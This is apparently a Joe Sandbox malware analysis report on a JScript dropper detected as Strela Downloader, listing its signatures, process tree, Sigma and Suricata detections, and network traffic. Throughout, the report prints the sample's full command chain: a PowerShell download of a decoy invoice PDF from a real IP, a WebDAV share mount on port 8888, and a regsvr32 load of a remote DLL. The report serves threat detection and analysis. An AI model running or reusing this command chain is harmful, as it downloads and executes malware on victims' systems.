Edit tour

Windows Analysis Report
20512268371239412475.js

Overview

General Information

Sample name:	20512268371239412475.js
Analysis ID:	1588060
MD5:	a0313e57b97f439b52556994594ae57a
SHA1:	7143390f14ff711d1d98618d14584383abcb270e
SHA256:	e1c4cdfc9e6215272bd6040cb6eeb33e7b177b01ce3f086a1a3f9109fa49b5ef
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: Use Short Name Path in Command Line

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7296 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\20512268371239412475.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7380 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7388 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7428 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7612 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7824 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 8004 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1756,i,12993817421295818475,10483446621615758159,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7628 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7732 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7884 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7296	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7380, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7428, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7380, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7428, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\20512268371239412475.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\20512268371239412475.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\20512268371239412475.js", ProcessId: 7296, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7732, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49721

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\20512268371239412475.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7296, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll, ProcessId: 7380, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\20512268371239412475.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7296, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll, ProcessId: 7380, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\20512268371239412475.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7296, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll, ProcessId: 7380, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\20512268371239412475.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7296, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll, ProcessId: 7380, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\20512268371239412475.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7296, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll, ProcessId: 7380, ProcessName: cmd.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\20512268371239412475.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7296, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll, ProcessId: 7380, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\20512268371239412475.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\20512268371239412475.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\20512268371239412475.js", ProcessId: 7296, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7380, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7428, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7628, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7732, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7884, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7628, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7732, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\20512268371239412475.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7296, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll, ProcessId: 7380, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T20:53:56.669926+0100	1810005	1	Potentially Bad Traffic	192.168.2.7	49721	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T20:53:54.655288+0100	1810000	2	Potentially Bad Traffic	192.168.2.7	49705	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 20512268371239412475.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 20512268371239412475.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.7:49721 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 19:53:54 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 